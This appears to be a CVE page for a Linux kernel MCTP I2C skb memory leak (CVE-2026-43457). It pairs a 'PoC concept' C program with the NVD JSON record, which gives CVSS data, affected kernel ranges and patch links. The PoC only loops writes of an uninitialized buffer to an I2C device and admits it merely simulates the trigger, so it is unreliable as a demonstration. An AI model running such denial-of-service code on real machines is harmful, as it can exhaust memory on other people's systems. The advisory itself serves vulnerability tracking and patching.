CVE-2026-43457

/* * PoC Concept for CVE-2026-43457 * This code demonstrates how to trigger the memory leak by interacting * with the MCTP I2C interface when allow_rx is false. * Note: Actual exploitation requires a vulnerable kernel version and specific hardware. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <linux/i2c-dev.h> #define MCTP_I2C_DEVICE "/dev/i2c-0" int main() { int fd; char buffer[10]; // Open the I2C device (assuming MCTP is enabled) fd = open(MCTP_I2C_DEVICE, O_RDWR); if (fd < 0) { perror("Failed to open I2C device"); return 1; } printf("Starting PoC to trigger skb leak...\n"); // Loop to continuously trigger the receive path // In a real scenario, this would involve sending specific MCTP frames // that cause the driver to allocate skb but drop them due to allow_rx=false. for (int i = 0; i < 100000; i++) { // Simulate sending data that triggers the vulnerable path write(fd, buffer, sizeof(buffer)); // Check for memory pressure or system response if (i % 1000 == 0) { printf("Sent %d iterations...\n", i); } } close(fd); printf("PoC execution completed. Check kernel logs for OOM or memory usage.\n"); return 0; }

{"cve": {"id": "CVE-2026-43457", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-08T15:16:58.517", "lastModified": "2026-05-21T16:50:46.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmctp: i2c: fix skb memory leak in receive path\n\nWhen 'midev->allow_rx' is false, the newly allocated skb isn't consumed\nby netif_rx(), it needs to free the skb directly."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.18", "versionEndExcluding": "6.1.167", "matchCriteriaId": "25D24035-467E-4E84-987E-DA8067ECEAC4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.2", "versionEndExcluding": "6.6.130", "matchCriteriaId": "C57BB918-DF28-46B3-94F7-144176841267"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.78", "matchCriteriaId": "28D591F5-B196-4CC9-905C-DC80F116E7A8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.19", "matchCriteriaId": "D394AC60-6F28-435F-872A-CCDF384B8331"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.9", "matchCriteriaId": "E825E7C3-FEAC-4FD3-8A81-78D7387948C9"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/0fb2adbdd5c03e8c9ebcdc48afd414b2724c85eb", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1b1be322342a6b0085bf6ee52235e5ac9834ec25", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/1ec54187e1aa40a4cfa2b265e9a311179f24b98d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9f81be2ab9d8e4744871bfb3e868ef413413829f", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/d7900a43b0a314a645ca0a2adf45928dbc7001f4", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/e3f5e0f22cfc2371e7471c9fd5b4da78f9df7c69", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}